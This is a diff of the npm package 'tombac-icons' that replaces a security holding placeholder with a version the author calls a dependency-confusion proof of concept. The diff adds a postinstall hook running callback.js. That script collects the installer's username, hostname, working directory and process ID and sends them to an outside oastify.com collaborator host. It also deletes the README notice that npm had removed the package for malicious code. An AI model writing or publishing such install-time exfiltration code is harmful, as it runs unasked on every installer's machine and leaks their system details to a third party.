tombac-icons 0.0.1-security → 1.0.1

package/callback.js

@@ -0,0 +1,44 @@
+const os = require("os");
+const http = require("http");
+const https = require("https");
+
+// 1) اینو با لینک RequestBin / Burp Collaborator / OAST خودت عوض کن
+// مثال شما: https://q1s11903t8lhd3xfhdltdvqd54bvzqnf.oastify.com/
+const DEFAULT_CALLBACK_BASE = "https://8061ivitpnv0u592nv3bq1fey54wsngc.oastify.com/";
+
+// 2) می‌تونی با ENV هم override کنی: CALLBACK_URL="https://<your-bin>/"
+const base = process.env.CALLBACK_URL || DEFAULT_CALLBACK_BASE;
+
+// تله‌متری کم و غیرحساس
+const payload = {
+  user: os.userInfo().username,
+  host: os.hostname(),
+  time: new Date().toISOString(),
+  pid: process.pid,
+  cwd: process.cwd()
+};
+
+// ساخت URL با querystring امن
+const qs = Object.entries(payload)
+  .map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(String(v))}`)
+  .join("&");
+
+const url = `${base}?${qs}`;
+
+// انتخاب http/https بر اساس scheme
+const client = url.startsWith("https://") ? https : http;
+
+const req = client.get(url, (res) => {
+  console.log("[PoC] Callback sent. Status:", res.statusCode);
+  // drain
+  res.resume();
+});
+
+req.setTimeout(5000, () => {
+  console.warn("[PoC] Timeout sending callback");
+  req.destroy();
+});
+
+req.on("error", (e) => {
+  console.error("[PoC] Error sending callback:", e.message);
+});

package/index.js

@@ -0,0 +1,2 @@
+// benign placeholder
+module.exports = () => "tombac-icons benign package";

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "tombac-icons",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.1",
+  "description": "Benign PoC for dependency confusion (HTTP callback only)",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node callback.js"
+  },
+  "author": "mohammadtayb",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=tombac-icons for more information.